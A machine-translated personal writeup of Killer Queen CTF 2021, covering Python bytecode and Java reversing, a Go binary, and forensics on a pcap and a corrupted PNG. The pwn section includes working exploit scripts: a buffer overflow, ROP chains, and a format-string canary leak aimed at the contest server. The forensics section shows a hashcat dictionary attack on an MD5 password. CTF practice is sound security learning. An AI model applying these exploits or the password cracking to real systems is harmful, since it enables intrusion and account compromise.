This page has been machine-translated from the original page.
I participated in Killer Queen CTF 2021 as team 0neP@dding, and I wrote a short writeup only for the challenges I found interesting.
The scoreboard was closed as soon as the event ended, so unfortunately I do not know the final standings. We solved 14 challenges in total, and the last time I checked the scoreboard we were in 62nd place. (The final standing was probably around 100th.)
Given that nearly 1,000 teams participated, that is not bad, but personally I wanted to place in the top 50, so I need to keep improving.
Table of Contents
Rev
sneeki_snek
This was a reversing challenge involving Python bytecode generated as an intermediate .pyc file.
Once you inspect the bytecode, you can roughly tell what it does. From there, you can reconstruct the Python script, compile it in your own environment, and confirm that the generated bytecode matches the challenge bytecode to recover the flag.
4 0 LOAD_CONST 1 ('')
2 STORE_FAST 0 (f)
5 4 LOAD_CONST 2 ('rwhxi}eomr\\^`Y')
6 STORE_FAST 1 (a)
6 8 LOAD_CONST 3 ('f]XdThbQd^TYL&\x13g')
10 STORE_FAST 2 (z)
7 12 LOAD_FAST 1 (a)
14 LOAD_FAST 2 (z)
16 BINARY_ADD
18 STORE_FAST 1 (a)
8 20 LOAD_GLOBAL 0 (enumerate)
22 LOAD_FAST 1 (a)
24 CALL_FUNCTION 1
26 GET_ITER
>> 28 FOR_ITER 48 (to 78)
30 UNPACK_SEQUENCE 2
32 STORE_FAST 3 (i)
34 STORE_FAST 4 (b)
9 36 LOAD_GLOBAL 1 (ord)
38 LOAD_FAST 4 (b)
40 CALL_FUNCTION 1
42 STORE_FAST 5 (c)
10 44 LOAD_FAST 5 (c)
46 LOAD_CONST 4 (7)
48 BINARY_SUBTRACT
50 STORE_FAST 5 (c)
11 52 LOAD_FAST 5 (c)
54 LOAD_FAST 3 (i)
56 BINARY_ADD
58 STORE_FAST 5 (c)
12 60 LOAD_GLOBAL 2 (chr)
62 LOAD_FAST 5 (c)
64 CALL_FUNCTION 1
66 STORE_FAST 5 (c)
13 68 LOAD_FAST 0 (f)
70 LOAD_FAST 5 (c)
72 INPLACE_ADD
74 STORE_FAST 0 (f)
76 JUMP_ABSOLUTE 28
14 >> 78 LOAD_GLOBAL 3 (print)
80 LOAD_FAST 0 (f)
82 CALL_FUNCTION 1
84 POP_TOP
86 LOAD_CONST 0 (None)
88 RETURN_VALUEI used the following article as a reference for generating and inspecting bytecode.
Reference: Reading pyc file (Python 3.5.2) - Qiita
Here is the reconstructed Python script in the end.
f = ''
a = 'rwhxi}eomr\\^`Y'
z = 'f]XdThbQd^TYL&\x13g'
a = a + z
for i, b in enumerate(a):
c = ord(b)
c = c - 7
c = c + i
c = chr(c)
f += c
print(f)Running this gives the flag.
sneeki_snek2
The bytecode is a bit longer, but it can be solved with the same approach as the previous challenge.
4 0 BUILD_LIST 0
2 STORE_FAST 0 (a)
5 4 LOAD_FAST 0 (a)
6 LOAD_METHOD 0 (append)
8 LOAD_CONST 1 (1739411)
10 CALL_METHOD 1
12 POP_TOP
6 14 LOAD_FAST 0 (a)
16 LOAD_METHOD 0 (append)
18 LOAD_CONST 2 (1762811)
20 CALL_METHOD 1
22 POP_TOP
7 24 LOAD_FAST 0 (a)
26 LOAD_METHOD 0 (append)
28 LOAD_CONST 3 (1794011)
30 CALL_METHOD 1
32 POP_TOP
8 34 LOAD_FAST 0 (a)
36 LOAD_METHOD 0 (append)
38 LOAD_CONST 4 (1039911)
40 CALL_METHOD 1
42 POP_TOP
9 44 LOAD_FAST 0 (a)
46 LOAD_METHOD 0 (append)
48 LOAD_CONST 5 (1061211)
50 CALL_METHOD 1
52 POP_TOP
10 54 LOAD_FAST 0 (a)
56 LOAD_METHOD 0 (append)
58 LOAD_CONST 6 (1718321)
60 CALL_METHOD 1
62 POP_TOP
11 64 LOAD_FAST 0 (a)
66 LOAD_METHOD 0 (append)
68 LOAD_CONST 7 (1773911)
70 CALL_METHOD 1
72 POP_TOP
12 74 LOAD_FAST 0 (a)
76 LOAD_METHOD 0 (append)
78 LOAD_CONST 8 (1006611)
80 CALL_METHOD 1
82 POP_TOP
13 84 LOAD_FAST 0 (a)
86 LOAD_METHOD 0 (append)
88 LOAD_CONST 9 (1516111)
90 CALL_METHOD 1
92 POP_TOP
14 94 LOAD_FAST 0 (a)
96 LOAD_METHOD 0 (append)
98 LOAD_CONST 1 (1739411)
100 CALL_METHOD 1
102 POP_TOP
15 104 LOAD_FAST 0 (a)
106 LOAD_METHOD 0 (append)
108 LOAD_CONST 10 (1582801)
110 CALL_METHOD 1
112 POP_TOP
16 114 LOAD_FAST 0 (a)
116 LOAD_METHOD 0 (append)
118 LOAD_CONST 11 (1506121)
120 CALL_METHOD 1
122 POP_TOP
17 124 LOAD_FAST 0 (a)
126 LOAD_METHOD 0 (append)
128 LOAD_CONST 12 (1783901)
130 CALL_METHOD 1
132 POP_TOP
18 134 LOAD_FAST 0 (a)
136 LOAD_METHOD 0 (append)
138 LOAD_CONST 12 (1783901)
140 CALL_METHOD 1
142 POP_TOP
19 144 LOAD_FAST 0 (a)
146 LOAD_METHOD 0 (append)
148 LOAD_CONST 7 (1773911)
150 CALL_METHOD 1
152 POP_TOP
20 154 LOAD_FAST 0 (a)
156 LOAD_METHOD 0 (append)
158 LOAD_CONST 10 (1582801)
160 CALL_METHOD 1
162 POP_TOP
21 164 LOAD_FAST 0 (a)
166 LOAD_METHOD 0 (append)
168 LOAD_CONST 8 (1006611)
170 CALL_METHOD 1
172 POP_TOP
22 174 LOAD_FAST 0 (a)
176 LOAD_METHOD 0 (append)
178 LOAD_CONST 13 (1561711)
180 CALL_METHOD 1
182 POP_TOP
23 184 LOAD_FAST 0 (a)
186 LOAD_METHOD 0 (append)
188 LOAD_CONST 4 (1039911)
190 CALL_METHOD 1
192 POP_TOP
24 194 LOAD_FAST 0 (a)
196 LOAD_METHOD 0 (append)
198 LOAD_CONST 10 (1582801)
200 CALL_METHOD 1
202 POP_TOP
25 204 LOAD_FAST 0 (a)
206 LOAD_METHOD 0 (append)
208 LOAD_CONST 7 (1773911)
210 CALL_METHOD 1
212 POP_TOP
26 214 LOAD_FAST 0 (a)
216 LOAD_METHOD 0 (append)
218 LOAD_CONST 13 (1561711)
220 CALL_METHOD 1
222 POP_TOP
27 224 LOAD_FAST 0 (a)
226 LOAD_METHOD 0 (append)
228 LOAD_CONST 10 (1582801)
230 CALL_METHOD 1
232 POP_TOP
28 234 LOAD_FAST 0 (a)
236 LOAD_METHOD 0 (append)
238 LOAD_CONST 7 (1773911)
240 CALL_METHOD 1
242 POP_TOP
29 244 LOAD_FAST 0 (a)
246 LOAD_METHOD 0 (append)
248 LOAD_CONST 8 (1006611)
250 CALL_METHOD 1
252 POP_TOP
30 254 LOAD_FAST 0 (a)
256 LOAD_METHOD 0 (append)
258 LOAD_CONST 9 (1516111)
260 CALL_METHOD 1
262 POP_TOP
31 264 LOAD_FAST 0 (a)
266 LOAD_METHOD 0 (append)
268 LOAD_CONST 9 (1516111)
270 CALL_METHOD 1
272 POP_TOP
32 274 LOAD_FAST 0 (a)
276 LOAD_METHOD 0 (append)
278 LOAD_CONST 1 (1739411)
280 CALL_METHOD 1
282 POP_TOP
33 284 LOAD_FAST 0 (a)
286 LOAD_METHOD 0 (append)
288 LOAD_CONST 14 (1728311)
290 CALL_METHOD 1
292 POP_TOP
34 294 LOAD_FAST 0 (a)
296 LOAD_METHOD 0 (append)
298 LOAD_CONST 15 (1539421)
300 CALL_METHOD 1
302 POP_TOP
36 304 LOAD_CONST 16 ('')
306 STORE_FAST 1 (b)
37 308 LOAD_FAST 0 (a)
310 GET_ITER
>> 312 FOR_ITER 80 (to 394)
314 STORE_FAST 2 (i)
38 316 LOAD_GLOBAL 1 (str)
318 LOAD_FAST 2 (i)
320 CALL_FUNCTION 1
322 LOAD_CONST 0 (None)
324 LOAD_CONST 0 (None)
326 LOAD_CONST 17 (-1)
328 BUILD_SLICE 3
330 BINARY_SUBSCR
332 STORE_FAST 3 (c)
39 334 LOAD_FAST 3 (c)
336 LOAD_CONST 0 (None)
338 LOAD_CONST 17 (-1)
340 BUILD_SLICE 2
342 BINARY_SUBSCR
344 STORE_FAST 3 (c)
40 346 LOAD_GLOBAL 2 (int)
348 LOAD_FAST 3 (c)
350 CALL_FUNCTION 1
352 STORE_FAST 3 (c)
41 354 LOAD_FAST 3 (c)
356 LOAD_CONST 18 (5)
358 BINARY_XOR
360 STORE_FAST 3 (c)
42 362 LOAD_FAST 3 (c)
364 LOAD_CONST 19 (55555)
366 BINARY_SUBTRACT
368 STORE_FAST 3 (c)
43 370 LOAD_FAST 3 (c)
372 LOAD_CONST 20 (555)
374 BINARY_FLOOR_DIVIDE
376 STORE_FAST 3 (c)
44 378 LOAD_FAST 1 (b)
380 LOAD_GLOBAL 3 (chr)
382 LOAD_FAST 3 (c)
384 CALL_FUNCTION 1
386 INPLACE_ADD
388 STORE_FAST 1 (b)
390 EXTENDED_ARG 1
392 JUMP_ABSOLUTE 312
45 >> 394 LOAD_GLOBAL 4 (print)
396 LOAD_FAST 1 (b)
398 CALL_FUNCTION 1
400 POP_TOP
402 LOAD_CONST 0 (None)
404 RETURN_VALUEHere is the reconstructed Python script.
a = []
a.append(1739411)
a.append(1762811)
a.append(1794011)
a.append(1039911)
a.append(1061211)
a.append(1718321)
a.append(1773911)
a.append(1006611)
a.append(1516111)
a.append(1739411)
a.append(1582801)
a.append(1506121)
a.append(1783901)
a.append(1783901)
a.append(1773911)
a.append(1582801)
a.append(1006611)
a.append(1561711)
a.append(1039911)
a.append(1582801)
a.append(1773911)
a.append(1561711)
a.append(1582801)
a.append(1773911)
a.append(1006611)
a.append(1516111)
a.append(1516111)
a.append(1739411)
a.append(1728311)
a.append(1539421)
b = ''
for i in a:
c = str(i)[::-1]
c = c[:-1]
c = int(c)
c = c ^ 5
c = c - 55555
c = c // 555
b += chr(c)
print(b)Running this yields the flag.
jazz
You are given a JAR file and an encrypted text, so first extract the JAR.
jar -xvf challenge.jar That gave me the following Java source code.
import java.util.*;
import java.io.*;
public class challenge {
public static void main(String[] args) throws FileNotFoundException {
Scanner s = new Scanner(new BufferedReader(new FileReader("flag.txt")));
String flag = s.nextLine();
char[] r2 = flag.toCharArray();
String build = "";
for(int a = 0; a < r2.length; a++)
{
build += (char)(158 - r2[a]);
}
r2 = build.toCharArray();
build = "";
for(int a = 0; 2*a < r2.length - 1; a++)
{
build += (char)((2*r2[2*a]-r2[2*a+1]+153)%93+33);
build += (char)((r2[2*a+1]-r2[2*a]+93)%93+33);
}
System.out.println(build);
}
}The flag is first encrypted with (char)(158 - r2[a]), and then encrypted again in pairs of two characters.
build += (char)((2*r2[2*a]-r2[2*a+1]+153)%93+33);
build += (char)((r2[2*a+1]-r2[2*a]+93)%93+33);I wrote a script to reverse this process and recover the flag.
I identified the part encrypted in two-character pairs by brute-forcing the 128-byte range.
enc = """9xLmMiI2znmPam'D_A_1:RQ;Il\*7:%i".R<"""
base = ""
for i in range(0, len(enc), 2):
l = enc[i]
r = enc[i+1]
for a in range(128):
for b in range(128):
v1 = 158 - a
v2 = 158 - b
if (chr((2*v1-v2+153)%93+33) == l) and (chr((v2-v1+93)%93+33) == r):
if a > 33 and b > 33:
base += chr(a) + chr(b)
print(base)The challenge itself was easy, but the originally provided ciphertext was corrupted, and even the corrected version still had issues, so it required some guesswork and ended up being oddly exhausting.
Unfortunately, it only gets one star from me.
gombalab
This was arguably the hardest challenge for me this time. I could not solve it before the end, so I am writing this while looking at the intended solution.
The challenge binary appears to be an ELF file built in Go.
After locating the main function, I found that you reach the flag by clearing each phase in order.
For starters, I looked at the first step, main.phase_1.
My reversing skills are not great, so honestly I could not tell much just by looking at this, haha.
However, when I did some dynamic analysis with GDB, I found that this branch is reached no matter what random input you give it.
I also found that local_108 appears to store the input length plus the newline.
if (local_108 == 0x2a) {
runtime.memequal();
}So main_phase1 seems to take a 41-character input and compare it against the string at 0x4d7f94.
So I entered For whom the bell tolls. Time marches on. and cleared the first hurdle.
Next, I looked at main_phase2.
Pwn
A Kind of Magic
This was a basic buffer overflow challenge.
from ptrlib import *
elf = ELF("./pwn01")
nopsled = b"\x41"*44
shellcode = b"\x39\x05\x00\x00"
payload = nopsled + shellcode
sock = Socket("143.198.184.186", 5000)
sock.sendline(payload)
sock.interactive()I wasted time because I hard-coded the little-endian byte sequence incorrectly, so lesson learned.
HammerToFall
This one was pretty interesting.
The goal was to find an input that makes the following Python script print flag!.
import numpy as np
a = np.array([0], dtype=int)
val = int(input("This hammer hits so hard it creates negative matter\n"))
if val == -1:
exit()
a[0] = val
a[0] = (a[0] * 7) + 1
print(a[0])
if a[0] == -1:
print("flag!")NumPy integers are limited to the range of signed 64-bit integers, and overflowed values are interpreted as the corresponding negative numbers. (If you are curious, look up two’s complement.)
So the correct input is 2635249153387078802, because multiplying it by 7 and adding 1 causes an overflow that is interpreted as exactly -1.
zoom2win
This was a simple ROP challenge, but the binary was 64-bit, and I got caught by the stack-alignment trap: the exploit worked locally but would not land remotely.
I used the following article as a reference and recovered the flag by skipping push rbp so the return-address byte count stayed aligned.
Reference: [Repost] Stack Alignment in Pwn - Qiita
from pwn import *
elf = ELF("/home/parrot/Downloads/zoom2win")
context.binary = elf
p = remote("143.198.184.186", 5003)
nopsled = b"\x41"*40
shellcode = p64(0x40119b)
payload = nopsled + shellcode
p.sendline(payload)
p.interactive()This solver got the flag.
tweetbird
This challenge was about bypassing a stack canary and landing a ROP chain.
I managed to use a format-string attack to leak the canary bytes from memory, but for some reason the exploit still did not land, so I gave up.
Later I realized the problem: I was converting the leaked bytes from memory into little-endian before putting them into the payload, but since they were already leaked from memory, they were already in little-endian format… orz
So once I embedded the leaked canary bytes directly into the payload, the ROP chain worked and I got the flag.
from pwn import *
elf = ELF("/home/parrot/Downloads/tweetybirb")
context.binary = elf
nopsled = b"\x41"*72
payload = nopsled
p = process("/home/parrot/Downloads/tweetybirb")
# p = remote("143.198.184.186", 5002)
# shellcode = p64(0xc6a8b9f731892800)
# p.sendline(payload)
# p.sendline(b"A"*72 + b"%08x."*20)
r = p.recvline()
p.sendline("%15$p")
r = p.recvline()
shellcode = p64(int(r.strip(), 0x10))
shellcode2 = p64(0x4011db)
p.sendline(payload + shellcode + b'\x41'*8 + shellcode2)
p.interactive()This works.
Forensic
Obligatory Shark
The provided pcap turned out to contain Telnet traffic.
Since Telnet is plaintext, I could recover the password.
The password looked like an MD5 hash, so I ran a dictionary attack with Hashcat, recovered the original password, and got the flag.
hashcat -a 0 -m 0 list.hash /usr/share/wordlists/rockyou.txtShes A Killed Queen
The file provided was a corrupted PNG.
After inspecting it, I found that the IHDR chunk size had been set to 0 x 0, so repairing that seemed to be the right approach.
If you just write in arbitrary values, the CRC check fails, so I used png-parser to obtain the correct CRC and then brute-force the dimensions.
from binascii import crc32
correct_crc = int('0db3f6c0',16)
for h in range(2000):
for w in range(2000):
data = (
b"\x49\x48\x44\x52"
+ w.to_bytes(4, byteorder="big")
+ h.to_bytes(4, byteorder="big")
+ b"\x08\x06\x00\x00\x00"
)
if crc32(data) & 0xffffffff == correct_crc:
print("Width: ", end="")
print(hex(w))
print("Height :", end="")
print(hex(h))
exit()That gave me the correct IHDR chunk size, so I patched the file in a binary editor and restored the image.
After running steganography on the restored image, I got the following ciphertext, but I could not solve it and had to give up.
Apparently it was a known cipher called Mary Stuart Code, and it could be decoded with Mary Queen of Scots Cipher/Code - Online Decoder, Translator.
I even tried image searches and similar ideas, but I still fell just short of the flag.
Summary
Killer Queen CTF 2021 had nearly 1,000 participating teams and even sponsors, but there were many infrastructure issues with the challenge servers and quite a few problems with the challenges themselves, so it was a pretty rough event.
The scoreboard was constantly buggy, and at one point you had to DM the organizers just to log in, which made it a rather rare experience for a CTF of this size.